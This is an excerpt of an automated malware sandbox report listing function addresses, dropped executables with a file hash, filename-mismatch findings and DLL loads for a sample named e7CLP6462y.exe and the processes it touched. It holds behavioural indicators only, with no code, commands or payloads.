Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486ECE414 2_3_00007DF486ECE414
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F2F4FC 2_3_00007DF486F2F4FC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F18534 2_3_00007DF486F18534
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA73A0 2_3_00007DF486FA73A0
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA83B8 2_3_00007DF486FA83B8
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F3A3F4 2_3_00007DF486F3A3F4
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FB93FC 2_3_00007DF486FB93FC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F0C45C 2_3_00007DF486F0C45C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA11BC 2_3_00007DF486FA11BC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486ED3314 2_3_00007DF486ED3314
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FB41DC 2_3_00007DF486FB41DC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F0D210 2_3_00007DF486F0D210
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA8238 2_3_00007DF486FA8238
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F2B094 2_3_00007DF486F2B094
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F640A0 2_3_00007DF486F640A0
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F26F78 2_3_00007DF486F26F78
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F16FA0 2_3_00007DF486F16FA0
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F9C01C 2_3_00007DF486F9C01C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F0CEC4 2_3_00007DF486F0CEC4
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F36F20 2_3_00007DF486F36F20
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FACF3C 2_3_00007DF486FACF3C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA3DE0 2_3_00007DF486FA3DE0
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EDBEC4 2_3_00007DF486EDBEC4
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F19E68 2_3_00007DF486F19E68
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486ED0C44 2_3_00007DF486ED0C44
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EEEC44 2_3_00007DF486EEEC44
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EC1BFC 2_3_00007DF486EC1BFC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA7CF4 2_3_00007DF486FA7CF4
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F18BE8 2_3_00007DF486F18BE8
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EC4A14 2_3_00007DF486EC4A14
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F26B20 2_3_00007DF486F26B20
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F1A9C4 2_3_00007DF486F1A9C4
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F26A10 2_3_00007DF486F26A10
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F14A14 2_3_00007DF486F14A14
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EDD850 2_3_00007DF486EDD850
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA58AC 2_3_00007DF486FA58AC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA78D8 2_3_00007DF486FA78D8
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F017C4 2_3_00007DF486F017C4
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE77A0 2_3_00007DF486EE77A0
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F0F954 2_3_00007DF486F0F954
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F0C7E8 2_3_00007DF486F0C7E8
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F9780C 2_3_00007DF486F9780C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F26834 2_3_00007DF486F26834
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F17860 2_3_00007DF486F17860
Source: C:\Windows\System32\OpenWith.exe Code function: 2_2_000002427BB70C5C 2_2_000002427BB70C5C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D852D00 6_2_0000018E5D852D00
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D84262C 6_2_0000018E5D84262C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D880D58 6_2_0000018E5D880D58
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D875578 6_2_0000018E5D875578
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D87959C 6_2_0000018E5D87959C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D874DB0 6_2_0000018E5D874DB0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D8414D0 6_2_0000018E5D8414D0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D866CE0 6_2_0000018E5D866CE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D87ECAC 6_2_0000018E5D87ECAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D85DCB4 6_2_0000018E5D85DCB4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D8863FC 6_2_0000018E5D8863FC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D870440 6_2_0000018E5D870440
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D856EF4 6_2_0000018E5D856EF4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D85C720 6_2_0000018E5D85C720
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D873F38 6_2_0000018E5D873F38
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D863E6C 6_2_0000018E5D863E6C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D86867C 6_2_0000018E5D86867C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D85BE88 6_2_0000018E5D85BE88
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D875E90 6_2_0000018E5D875E90
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D85F5E8 6_2_0000018E5D85F5E8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D86764C 6_2_0000018E5D86764C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D87F198 6_2_0000018E5D87F198
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D8758E0 6_2_0000018E5D8758E0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D87F908 6_2_0000018E5D87F908
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D860144 6_2_0000018E5D860144
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D87E94C 6_2_0000018E5D87E94C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D86705C 6_2_0000018E5D86705C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D874898 6_2_0000018E5D874898
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D87A7E4 6_2_0000018E5D87A7E4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D85CFE0 6_2_0000018E5D85CFE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D86D81C 6_2_0000018E5D86D81C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D88083C 6_2_0000018E5D88083C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D85E368 6_2_0000018E5D85E368
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D87CBBC 6_2_0000018E5D87CBBC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D84C254 6_2_0000018E5D84C254
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D855AAC 6_2_0000018E5D855AAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D873A00 6_2_0000018E5D873A00
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D874A18 6_2_0000018E5D874A18
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D883A15 6_2_0000018E5D883A15
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D880238 6_2_0000018E5D880238
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D857240 6_2_0000018E5D857240
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_0040223E 11_2_0040223E
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_004025C5 11_2_004025C5
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_004025C5 13_2_004025C5
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00305072 15_2_00305072
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0032B06B 15_2_0032B06B
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0032B18B 15_2_0032B18B
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_003265E0 15_2_003265E0
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00307862 15_2_00307862
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0031B892 15_2_0031B892
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00304883 15_2_00304883
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0032A919 15_2_0032A919
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00326A78 15_2_00326A78
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00309C03 15_2_00309C03
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0032BFC0 15_2_0032BFC0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF2198 17_2_00BF2198
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BFC2F9 17_2_00BFC2F9
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00C0B35C 17_2_00C0B35C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00C44438 17_2_00C44438
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00C0B97E 17_2_00C0B97E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF6E6A 17_2_00BF6E6A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00C15F08 17_2_00C15F08
Source: C:\Windows\explorer.exe Code function: 20_2_009E1E20 20_2_009E1E20
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EB9A00 21_2_00EB9A00
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EFB06B 21_2_00EFB06B
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00ED5072 21_2_00ED5072
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EFB18B 21_2_00EFB18B
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EF65E0 21_2_00EF65E0
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00ED4883 21_2_00ED4883
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EEB892 21_2_00EEB892
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00ED7862 21_2_00ED7862
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EFA919 21_2_00EFA919
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EF6A78 21_2_00EF6A78
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00ED9C03 21_2_00ED9C03
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EFBFC0 21_2_00EFBFC0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_004D170B 22_2_004D170B
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\B88B.exe 2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe 2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: String function: 00301A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: String function: 002FBF00 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: String function: 003013C2 appears 67 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 00BF8801 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: String function: 00ECBF00 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: String function: 00ED1A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: String function: 00ED13C2 appears 67 times
Sample file is different than original file name gathered from version info
Source: e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C80000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: OriginalFilenamekernel32j% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \[FileVersionProductVersionFileDescriptionCompanyNameProductNameOriginalFilenameInternalNameLegalCopyright vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003E86000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: OriginalFilenameKernelbase.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003DDD000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000000.1678541507.0000000000489000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamedevpas.exeJ vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003BA2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: OriginalFilenamekernel32j% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \[FileVersionProductVersionFileDescriptionCompanyNameProductNameOriginalFilenameInternalNameLegalCopyright vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003C33000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003F11000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: OriginalFilenameKernelbase.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003C88000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs e7CLP6462y.exe
Tries to load missing DLLs
Source: C:\Users\user\Desktop\e7CLP6462y.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\e7CLP6462y.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: tapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
